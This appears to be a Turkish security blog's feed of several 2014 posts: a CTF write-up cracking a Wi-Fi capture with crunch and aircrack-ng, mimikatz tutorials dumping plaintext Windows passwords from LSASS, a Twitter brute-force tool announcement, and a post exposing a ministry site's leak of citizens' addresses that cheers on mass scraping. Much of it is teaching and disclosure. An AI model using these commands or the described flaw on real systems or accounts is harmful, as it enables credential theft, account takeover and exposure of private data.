<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkMDiLDqvAPI14LTzIcjbbcE_W-8ZWPBKoz2apIXOoVGGhCc1qA3UFqPw_kmgaO1HG2W1rtSzZQFERX2rV2U0hEL2gMfB_UnT9Gqs9U6WKlK_TyPL1awE8f69_SZJ4akXlTVbVtXBZTPA/s1600/6.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkMDiLDqvAPI14LTzIcjbbcE_W-8ZWPBKoz2apIXOoVGGhCc1qA3UFqPw_kmgaO1HG2W1rtSzZQFERX2rV2U0hEL2gMfB_UnT9Gqs9U6WKlK_TyPL1awE8f69_SZJ4akXlTVbVtXBZTPA/s1600/6.JPG" height="78" width="640" /></a></div>
<br />
Burada kullanılan parametreler encryption aşamasında kullandıklarımızla aynı mantıkta. Tek fark şifreyi çözmek için <b>Private key</b> kullanmamız gerekiyor.<br />
Bu işlemin sonucunda başta şifrelediğimiz ultra süper gizli bilgiler içeren dosyaya tekrar ulaşmış oluyoruz.<br />
<br />
<b>Edit</b>: Yazarın burada anlatmak istediği, Public key'i yayın sağa sola kimlerde olduğu önemli değil. Data Public key ile encrypt edilir fakat Private key'iniz olmadan sadece çöp datanız olur. Şifrelenmiş dosyayı sadece Private key ile decrypt edebilirsiniz.</div>
Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-28694775096894027042014-11-21T13:52:00.000-08:002015-01-29T10:58:36.555-08:00Crunch ile Özel Wordlist Oluşturma Tübitak'ın düzenlemiş olduğu Siber güvenlik CTF yarışması olan <a href="http://www.sibermeydan.org/" target="_blank">Siber meydan</a> da yarıştık. Sorulan sorulardan biri, ki yöntemini bildiğim halde parametrelerini hatırlayamadığımdan <a href="https://www.google.com/" target="_blank">gugıllayıp</a> aradığım fakat ona rağmen uzunca bir vaktimi yiyen ibine Crunch'tan bahsedecem.<br />
<br />
Sorulan soru kablosuz haberleşme paketinin analizine ve şifresinin kırılmasına dayalıydı.<br />
İlk soru paketin içerisindeki ESSID bilgisini bulmamızı istiyordu.<br />
İkinci soru ise paket içerisinde ki şifreyi bulmamızı istiyordu. Burada wordlist kullanacaktık fakat bunun bir sınırı olmalıydı. Verilen ipucu'nda şifrenin 10 karakterden oluştuğu ve 4 karakterinin bilindiği söyleniyordu.<br />
<br />
Formatı ise şu şekildeydi: <b>W(?)(a)(?)M(1)y(a)(a)n</b><br />
W,M,y,n harflerinin yerleri biliniyor geriye kalanlar için özel bir wordlist oluşturup onu deneyecektik. Burada ki ?<b>= alfanumerik karakteri, a= küçük harfi, 1 =rakamı</b> ifade ediyordu.<br />
<a name='more'></a><br />
<br />
Soruyu görür görmez hemen <i>crunch</i> diye patlattım fakat önce bir <a href="https://www.google.com/" target="_blank">gugıllayıp</a> istediğim şekilde kullanımını görmeliydim. E tabi o an yarışmadayız hızlı olmalıyız. Hemen açtım web sayfasını çatır çutur ingilizce kaynak arıyorum. Lan o da ney çıkanlar/anlatılanlar hep aynı. Uzunluğu min-max kaç olacak rakamdan mı harften mi alfanumerik karakterlerden mi oluşacak bunu belirt crunch sana döksün şifreleri. Ama ben istemiyom onu. Nasıl bir kafadaysam ingilizce kaynak aramakta diretip sürekli ingilizce anahtar kelimeler ile aramalar yapıyordum. Sonuç: hüsran :(<br />
<br />
Arkadaşa devrettim meseleyi. Bir bak suna özel wordlist oluşturma olayı diye. Adam nasıl aradı tak diye istediğim/aradığım sayfa çıktı karşısına. Lan kafamı seveyim sen neden Türkçe aratmazsın ki İngilizce senin neyine keranacı. Neyse;<br />
<br />
Konuya dönecek olursak. Crunch'ın temel şifre üretme özelliğinin dışında istenilen formatta da şifre üretme becerisi var. Burada kullanılan özel karakterler için;<br />
<br />
<pre><b>@</b> işareti küçük harfli karakterler
<b>, </b> işareti büyük harfli karakterler
<b>%</b> işareti rakam
<b>^</b> işareti ise özel karakterleri yazdırmak için kullanılır
</pre>
<br />
Bunların kullanımını ise -t parametresi ile gerçekleştireceğiz.<br />
<span style="color: #161514; font-family: Calibri;"><span style="font-size: 15px; line-height: 24px;">root@GundY:~/crunch-3.6# ./crunch 10 10 -t W^@^M3ydan -o word.list</span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUtMIBQR-SQf8YELfsA0uF6we7hpy5JUMLnOR8MIVoz2uwpePRn6-HlizKvYhRahuQffLCNaajHYPbEtIe1zKuzF3R0Lj1fcbzXketNQIgV4Z1SGniTelEANkuWMu933d4HZHG3soOmo/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwUtMIBQR-SQf8YELfsA0uF6we7hpy5JUMLnOR8MIVoz2uwpePRn6-HlizKvYhRahuQffLCNaajHYPbEtIe1zKuzF3R0Lj1fcbzXketNQIgV4Z1SGniTelEANkuWMu933d4HZHG3soOmo/s1600/1.JPG" height="248" width="640" /></a></div>
<br />
Burada temel olarak yapılmak istenen şudur: art arda gelen 10'lar minimum ve maksimum karakter sayısını ifade eder. Bizim şifremiz de 10 karakter olduğu için bu şekilde giriyoruz. Özel wordlist üreteceğimiz zaman -t parametresini kullanıyoruz. Yeri belli olan karakterleri yazdıktan sonra değişecek olanları özel işaretleri ile yazıyoruz. Sonrası output anlamına gelen -o parametresi.<br />
<br />
Tabi ben böyle yapıp 2Gb'lık bir dosya üretemesini oluşturmasını içine de yaklasık 192milyon şifre yazmasını bekleyecek değildim. Verilen formattan ve yarışmanın adından esinlenerek son karakterlerin M3ydan olduğunu tahmin edip ona göre wordlist ürettim.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMQkdmjhuQaGTZ73bew1-sBtw-kQJPzixyzN8sUs6lyr6Sz1nttG8cLR59OltshhR4rHuLDp-r0EmyJTMFXmF3GLex-01o3NQ4nXbLKbGleUe4IPvGUqVtY0TvwhckTWYnnwCqCMP26Rc/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMQkdmjhuQaGTZ73bew1-sBtw-kQJPzixyzN8sUs6lyr6Sz1nttG8cLR59OltshhR4rHuLDp-r0EmyJTMFXmF3GLex-01o3NQ4nXbLKbGleUe4IPvGUqVtY0TvwhckTWYnnwCqCMP26Rc/s1600/2.JPG" height="188" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Çat çat hemen bitirdi şifre üretme işini. Şimdi elimizde olası şifrelerin olduğu dosya vardı.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPsausbXOt0IwtKUzbPGnuZSqir0rN40PSZRx-wVbHpDHLo3cVKK0DGrbOjP6ZuV0Hy9CdaTSvZ04aenlaSn5s-LpoojbCX8JMM79Hw-ad84CdwGyzAm6EHZAgfe6jJYCbXW6YTHc4pio/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPsausbXOt0IwtKUzbPGnuZSqir0rN40PSZRx-wVbHpDHLo3cVKK0DGrbOjP6ZuV0Hy9CdaTSvZ04aenlaSn5s-LpoojbCX8JMM79Hw-ad84CdwGyzAm6EHZAgfe6jJYCbXW6YTHc4pio/s1600/3.JPG" height="336" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Dosya <b>.cap</b> uzantılı ve kablosuz network paketi olduğu için direk meşhur wireless heykırlarının son aşamada yaptığı olay kalmıştı geriye. Aircrack ile şifreyi kırmak.</div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: #161514; font-family: Calibri;"><span style="font-size: 15px; line-height: 24px;">root@GundY:~/ctf/soru_20-21# aircrack-ng pcap2.cap -w word.list</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAGoOpq0hEd0axg48XS-9lJEWSKbxdwoebac1Z4brODTryDiCDuIpz2VJYiog4Ud4j2qX4_S-Q60pusJS94J5ioDL1ybCoYgSiFXZJtdJ4N71tBPFA_VMADsehAWDqn08g53jJ9PDlClg/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAGoOpq0hEd0axg48XS-9lJEWSKbxdwoebac1Z4brODTryDiCDuIpz2VJYiog4Ud4j2qX4_S-Q60pusJS94J5ioDL1ybCoYgSiFXZJtdJ4N71tBPFA_VMADsehAWDqn08g53jJ9PDlClg/s1600/4.JPG" height="356" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Şifre <b>W!f!M3ydan</b> çıktı. Tahmin edilebilir bir şifreymiş aslında. Bu kadar uğraşmayada gerek yokmuş. Hele ki ingilizce aramaya hiç gerek yok.</div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: #161514; font-family: Calibri;"><span style="font-size: 15px; line-height: 24px;"><br /></span></span></div>
Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com1tag:blogger.com,1999:blog-4536086478290117322.post-92214202788677347412014-11-16T16:46:00.001-08:002015-01-29T10:57:56.516-08:00Gümrük ve Ticaret Bakanlığı MersisKullaniciKayit Sistemindeki Adres Zaafiyeti Fırından yeni çıktı. Devlet babamız yanına pek bir zeki yazılımcı arkadaşları dolduruyor demek. <a href="http://mersis.gumrukticaret.gov.tr/AnaSayfa/Kullan%C4%B1c%C4%B1Kay%C4%B1t.aspx" target="_blank">Bakanlığın Merkezi Sicil Kayıt Sistemi</a>'ndeki inanılmaz yazılım hatası şimdiye istihbarat kurumlarının ağzını sulandırmıştır.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDbjc__KcuEbsZA4l2GfdHcaXJMSQcZYgE1OCRVaNkAnKr1ejIc9DDM5GK5vsVUhXMNdtk9Rr7YXjFCQv_OoqJoj62TyUaH5D7ofj8mAOk4XFV1crCS4Lzbnb9S2l1CZ7CBfSBI1bdH08/s1600/0.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDbjc__KcuEbsZA4l2GfdHcaXJMSQcZYgE1OCRVaNkAnKr1ejIc9DDM5GK5vsVUhXMNdtk9Rr7YXjFCQv_OoqJoj62TyUaH5D7ofj8mAOk4XFV1crCS4Lzbnb9S2l1CZ7CBfSBI1bdH08/s1600/0.JPG" height="414" width="640" /></a></div>
<br />
<br />
<br />
Şöyle bir görüntüsü var kayıt ekranının. Burada TC Kimlik numarasını girip basit captcha'yı yazdıktan sonra <b>KPS'den Al</b>'a tıklıyoruz sonrasında hemen aşağıdaki Adı, Soyad textbox'ları set ediliyor. E buraya kadar sorun yok diyebilirsiniz. Kimlik numarasından ad soyad bulma için. Devamı ne peki ?<br />
<br />
<a name='more'></a><br />
Açtığınız tarayıcıda sağ tıklayıp<b> Sayfa Kaynağını Görüntüle</b> dediniz mi her şey dayının malı gibi ortaya çıkıyor. Kimlik numarası girilen vatandaşın adres bilgileri o kodlar arasında saklanıyor. WTF?<br />
Acayip zeki yazılımcı arkadaşımız işi kestirmeden yapmak için herhalde böyle bir çakallık yapmış. Hidden olarak bir textbox'ta tutuyor bizim adresleri. Buna ulaşmak için kaynak kodlar arasında isterseniz 216. satıra gidin isterseniz "<b>dnn$ctr479$userregister$adreskpsregistertextbox</b>" component adını aratın. Sonuç olarak karşınıza;<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2J5Aced6dzQmY9NKmfu215o0Veu-LvZK8vzwtu0Hg9bdJZm-D3rZ2vcDZFQ-h-WjGXhSPhfJmccOxw4GQTMUt5gECRXZejXW4eNfyUgT9owe0_qI4CkIaB8MZekcz8avxFic8eloQUvg/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2J5Aced6dzQmY9NKmfu215o0Veu-LvZK8vzwtu0Hg9bdJZm-D3rZ2vcDZFQ-h-WjGXhSPhfJmccOxw4GQTMUt5gECRXZejXW4eNfyUgT9owe0_qI4CkIaB8MZekcz8avxFic8eloQUvg/s1600/1.JPG" height="16" width="640" /></a></div>
<br />
<br />
Şöyle güzel bir adres dökümü çıkıyor. Gerçi devleti dinleyen dinleyene bilgileri satan satana amma bir ihtimal ola ki acemi istihbarat kurumları şimdi bunları rahatça alıyordur. Captcha çok basit herhangi bir karmaşıklığı yok OCR ile elinizde captcha.-hatta 20 satırlık bir python kodu çok büyük bir başarı ile buluyor- e kimlik numarasının algoritması da biliniyor. Kısa bir sürede tüm db'yi dump edecek bir kod yazılır.<br />
<br />
Neyse geç oldu ben yatıyom. Size bol dump'ingler ;)Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-86216720524845203942014-11-13T13:44:00.001-08:002015-01-29T10:57:44.873-08:00Twitter Brute Force Tool - TwitterBrute Blogun ilk yazılarında<a href="http://yunusyildirim.blogspot.com.tr/2014/09/python-url-crawler-mechanize-modulu.html" target="_blank"> python'un mechanize modülünden</a> bahsetmiştim. Mechanize modülünü araştırırken incelediğim tutorial'larda yapılanlar twitter için bot yazmak oluyordu. Basit şekilde login olup tweet atabilecek scriptlerdi. Yapılanlara görünce hemen kafada şimşek çaktı mı desem ampul yandı mı desem. Ampul bize ters aga!. Şimşek çaktı iyi. Neyse ilk olarak yapılan işlem login kısmı olduğu için dedim niye yazmıyoz lan bunun için üç satır kod. Ardına da kullanıcıdan alınan password listesini login olana kadar denerik. Al sana brute force.<br />
<br />
Şu aşamada 9 tane User Agent ekledim her seferinde random seçip kullanıcı girişini yapıyor. Tool komut satırında çalışıyor. Aldığı 3 parametre var.<br />
<b>-u veya --username</b> --> verilen kullanıcı için işlemi gerçekleştiriyor<br />
<b>-p</b><b> veya</b><b> --passlist</b> --> verilen wordlist için şifreleri teker teker deniyor<br />
<b>-s</b><b> veya</b><b> --sleep</b> --> User lock gibi durumlardan kaçınmak parametreye sn cinsinden bir argüman girebilirsiniz. 1 sn'in altında bir değer girmek için nokta ile ayrılmış float değer girebilirsiniz. (0.5 veya 0.8) Herhangi bir bekleme yapmak istemiyorsanız 0 girebilirsiniz.<br />
<br />
<a name='more'></a> İlerleyen günlerde threadler ile işi hızlandırma, belki de proxy eklerim. Adamlar aynı ip'den belli bir fail geldiğinde kitler mitler o kadar saf değiller herhalde bunun için yazılmış uygun korelasyon kuralları vardır muhakkak.<br />
<br />
Küçük bir ekran görüntüsü ile sizlere veda ediyorum.<br />
Unutmadan programın <a href="https://github.com/th3gundy/TwitterBrute" target="_blank">Github linki için tıkla ;)</a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN2TTYMnhYwUmHl6_ssmBdIxAQHyj3gtxsclua84zreOjIXCoWCCZ5YHOcnWnc-9JxU551USqQsUL4I4Ud2Ow5iKTpzxl3mvuLQxNFnqAkWMrk338zGGRFLrgkMGyVVcxYVtlTVpUq-14/s1600/brute.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN2TTYMnhYwUmHl6_ssmBdIxAQHyj3gtxsclua84zreOjIXCoWCCZ5YHOcnWnc-9JxU551USqQsUL4I4Ud2Ow5iKTpzxl3mvuLQxNFnqAkWMrk338zGGRFLrgkMGyVVcxYVtlTVpUq-14/s400/brute.JPG" width="400" /></a></div>
Denediğim hesap asıl hesabım değildir fake hesaplardan biri. Fake make şifre gösterilmez. Niye derseniz. Valla bizde ortam böyle ...Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-72356255445931589782014-11-12T13:11:00.000-08:002015-01-29T10:57:06.826-08:00Dump Edilmiş Process İmajından Windows Şifresi Bulmak Bir <a href="http://yunusyildirim.blogspot.com.tr/2014/11/windowsta-ack-oturumlarda-parola-elde.html" target="_blank">önceki yazıda</a> açık bir Windows makineden mimikatz ile kullanıcı şifrelerinin açık bir şekilde elde edilmesinden bahsetmiştim.<br />
Bu yazıda ise dump'ı alınmış LSASS.exe processi kullanılarak aynı yöntemle şifreler plaintext olarak alınacaktır. Uzak masaüstüyle bir şekilde sisteme eriştiniz diyelim fakat mimikatz'ı upload edemiyorsunuz ve yönetici olarak çalıştıramıyorsunuz, bu gibi bir durumda olası alternatiflerden biridir bu yapacağımız işlem. Ek bir tool kullanmadan doğrudan Windows Görev Yöneticisi (şu meşhur Ctrl+Alt+Del) ile spesifik olarak dump alabiliyoruz. Ekran görüntüsü tüm olayı özetliyor.<br />
<a name='more'></a><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh71kqwaJ2eUUJglERo8eBqWJ7Inoe6oRFtsfkbNVUSKsPwXP8jhesoiLRiKjiMToq6n1fJ0bdvBkgjnS9vjkPalM9tlHTcR52yzYH2x0_FX4ZfQ5zyArk90AM4wvE5qexi5DkVQ6yCRt0/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh71kqwaJ2eUUJglERo8eBqWJ7Inoe6oRFtsfkbNVUSKsPwXP8jhesoiLRiKjiMToq6n1fJ0bdvBkgjnS9vjkPalM9tlHTcR52yzYH2x0_FX4ZfQ5zyArk90AM4wvE5qexi5DkVQ6yCRt0/s1600/1.jpg" /></a></div>
<br />
Döküm dosyası oluştur dediğimizde şipşak hemen dump'ı Windows'un temp klasörü altında oluşturacaktır. Bunu da oluşturduktan sonra bize söylüyor nasıl bulcam diye endişelenmeyin hemen.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRUSSRblzHexl1cTU-73KPnVsPtPJAnKn6gaMsD2Vb8gPV4Ic9Wyy7RYNLf2do9EBz1xB1lBHKhXlPPz_lhpd99Nu2UliBEkCJ_jWcV8L00ts2bkd8CZzS11Hy0lKLRA1qyyddqjXPJU/s1600/2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="196" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRUSSRblzHexl1cTU-73KPnVsPtPJAnKn6gaMsD2Vb8gPV4Ic9Wyy7RYNLf2do9EBz1xB1lBHKhXlPPz_lhpd99Nu2UliBEkCJ_jWcV8L00ts2bkd8CZzS11Hy0lKLRA1qyyddqjXPJU/s400/2.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
oluşturulan dump'ı alıp lokalimizde bulunan mimikatz klasörü içinde uygun mimaride bulunan mimikatz.exe'nin yanına kopyalıyoruz. Kopyalamak mecburiyet değil tabii ki ama sonradan path vermekle uğraşmak istemiyorsan yap bunu! bence . </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Yönetici olarak çalıştıralım mimikatz.exe'yi ya da komut satırından mimikatz'ın bulunduğu klasöre gelelim. Vermemiz gereken basit 2 komut. ilki;</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<pre>sekurlsa::minidump lsass.DMP</pre>
burada lsass.DMP dediği bizim uzak masaüstünden almış olduğumuz lsass.exe process'inin dump'ı.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZyNWWjR2_amy6123q3mQG3BzWv0QeWzYOwX1tl2y-CnckRhDoF17qC9NJfPms9elFo7DIo2A8_lJJqCSc4MrelRWcBdmiHiMEsKbAMunco4wI2ZBbG_EbRvXXnUQdDLKeudUG03hBdPw/s1600/3.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="450" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZyNWWjR2_amy6123q3mQG3BzWv0QeWzYOwX1tl2y-CnckRhDoF17qC9NJfPms9elFo7DIo2A8_lJJqCSc4MrelRWcBdmiHiMEsKbAMunco4wI2ZBbG_EbRvXXnUQdDLKeudUG03hBdPw/s640/3.JPG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
mimikatz'ın üzerinde çalışacağı process'in hangisi olduğunu söyledikten sonra şifreleri verir misin demek kaldı. Bu da önceki yazıdan hatırlayacağınız üzere</div>
<pre>sekurlsa::logonPasswords full</pre>
<pre></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4pg3Ect4C4hXSztoVR7udtygF3c-Tx-0YRUTjrZgy04G9aOYftFalhCracQeLfGo03vdMdHt-R9es0oNrSX_7uBdgRIyHpSEO3dMecPY7kaFgQ9Yq-pl6MCo9ZN-BPEhOG_zbAQJrKBk/s1600/4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4pg3Ect4C4hXSztoVR7udtygF3c-Tx-0YRUTjrZgy04G9aOYftFalhCracQeLfGo03vdMdHt-R9es0oNrSX_7uBdgRIyHpSEO3dMecPY7kaFgQ9Yq-pl6MCo9ZN-BPEhOG_zbAQJrKBk/s400/4.JPG" width="383" /></a></div>
<pre></pre>
<div class="separator" style="clear: both; text-align: left;">
Bir önceki yazıda belirttim fakat tekrarlamakta fayda var. Plaintext yani açık olarak görülen, kırmızı kutucuklar içine aldığım şifrenin sonundaki ünlem işareti (!) şifrenin kendisinde vardır mimikatz herhangi bir keratalık yapıp eklememiştir şifreyi belirtmek adına.</div>
<div class="separator" style="clear: both; text-align: left;">
Sonuç; <b>Labz </b>kullanıcısının şifresi: <b>P4SSW0RD!</b> olarak bulunmuştur.</div>
<br />Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-34896670893265728772014-11-11T15:17:00.000-08:002015-01-29T10:56:37.823-08:00Windows'ta Açık Oturumlarda Parola Elde Etmek - mimikatz Windows sistemlerde açılışta karşımıza parola ekranı gelir bilirsiniz eğer şifre korumalı ise hesabımız. Böyle bir durumda girdiğimiz şifrenin doğruluğunu anlamak ve girişi (authentication) yapabilmek için Windows işletim sistemlerinde LSASS.exe (Local Security Authority Subsystem Service) process'ini kullanır. Bu processi kullanarak yapılan doğrulama işleminin ayrıntılarını öğrenmek için <a href="http://www.bilgiguvenligi.gov.tr/microsoft-guvenligi/bellekten-parolalarin-elde-edilmesi-2.html" target="_blank">BİLGEM'de yazılmış yazı dizisini okuyabilirsiniz.</a><br />
<br />
Buradaki ana mantık LSASS.exe processine DLL injection yapılarak şifrelerin plaintext (şifresiz-açık bir şekilde) olarak alınmasını sağlamaktır. Bu işlem için <a href="http://blog.gentilkiwi.com/mimikatz" target="_blank">mimikatz</a> aracını kullanarak örnek göstereceğim. WCE (Windows Credentials Editor) bu iş için kullanabilecek alternatif toollar arasındadır.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
Açık makinenin bellekteki LSASS.exe processi kullanılarak bu işlem yapılacak fakat bu process'in dump'ını alarak başka bir makinede de aynı işlemleri yapabilirsiniz.<br />
<br />
Mimikatz komut satırında çalışır. İsterseniz komut satırını (cmd)'yi açıp mimikatz'ın olduğu dizine gider ve mimikatz.exe'yi çalıştırırsınız. İsterseniz doğrudan mimikatz klasöründeki exe'yi açabilirsiniz. <b>Yalnız bu işlemleri yapabilmek için komut satırını veya mimikatz.exe'yi Yönetici Olarak Çalıştırmalısınız</b> aksi takdirde debug sırasında hata verecektir.<br />
<br />
<a name='more'></a><br />
Ben işlemleri Yönetici olarak çalıştırdığım komut satırı üstünden gerçekleştiriyorum ki bunun mimikatz.exe'yi direk sağ tıklayıp->Yönetici olarak çalıştır demekten bir farkı yoktur. Sadece olaya biraz, 2 komutluk hava katıyor ^^.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLzw23u2-MNN79F158Hf4Dsi92ibzGmyKKruToyzTzzCSwtJU0I79NfVnBPPn7y1KsEdTr-3liAbXZ7Yj6BmldAdKw4JHzdCH9qgPAe6wM2_65g96T8kcuFU-0QLx1H-hc_7Zc33z5F0I/s1600/1.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLzw23u2-MNN79F158Hf4Dsi92ibzGmyKKruToyzTzzCSwtJU0I79NfVnBPPn7y1KsEdTr-3liAbXZ7Yj6BmldAdKw4JHzdCH9qgPAe6wM2_65g96T8kcuFU-0QLx1H-hc_7Zc33z5F0I/s640/1.JPG" width="640" /></a><span style="text-align: left;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<i>mimikatz'ın işletim sürümü mimarisine uygun klasöre gidiliyor (32-64 bit)</i></div>
<br />
mimikatz.exe'yi çalıştırıp ilk önce LSASS.exe'yi debug etmesi için için yetkiyi veriyoruz.<br />
<pre>privilege::debug</pre>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaU8NwtiZGUPbXIogNBXLnACX1u1dOuXra80rflNf5zCz5d_U-w8zyWmVsz1xb-e4y7r4mOr2Tebcr4Pcvfz3wMHQMnEpjl1GCszDQE9qIUjtQI0Lj4FnbdmCViF4vERtllRjijBgZeRM/s1600/2.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="170" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaU8NwtiZGUPbXIogNBXLnACX1u1dOuXra80rflNf5zCz5d_U-w8zyWmVsz1xb-e4y7r4mOr2Tebcr4Pcvfz3wMHQMnEpjl1GCszDQE9qIUjtQI0Lj4FnbdmCViF4vERtllRjijBgZeRM/s640/2.JPG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
OK. Şimdi yapmamız gereken şifreleri verir misin bebeğim demek, tabi mimikatz'ın anlayacağı bir şekilde.</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<pre>sekurlsa::logonPasswords full</pre>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIl-K_wjS6XaJ4wBxG39K5cQI7KoubsWMUkFSu5cal9oa65LbTfXLtny4mTVbkiZP7sxiwBVpaBG33fmfnrR4CTljx16qMJnbZNtbnblKZDOuWBCLxxm4Yi8ryhNJXOD4rm2uTTxHz5lw/s1600/3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIl-K_wjS6XaJ4wBxG39K5cQI7KoubsWMUkFSu5cal9oa65LbTfXLtny4mTVbkiZP7sxiwBVpaBG33fmfnrR4CTljx16qMJnbZNtbnblKZDOuWBCLxxm4Yi8ryhNJXOD4rm2uTTxHz5lw/s400/3.JPG" width="327" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
Burada kırmızı kutu içine aldığım Labz kullanıcısının şifresidir. <span style="color: red;">P4SSWORD!</span> . Ünlem işareti şifrenin kendisinde vardır mimikatz ekledi sanmayın amaan diyim. Sistemde sadece Labz kullanıcısı olduğu için onun şifrelerini göstermiştir.Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com2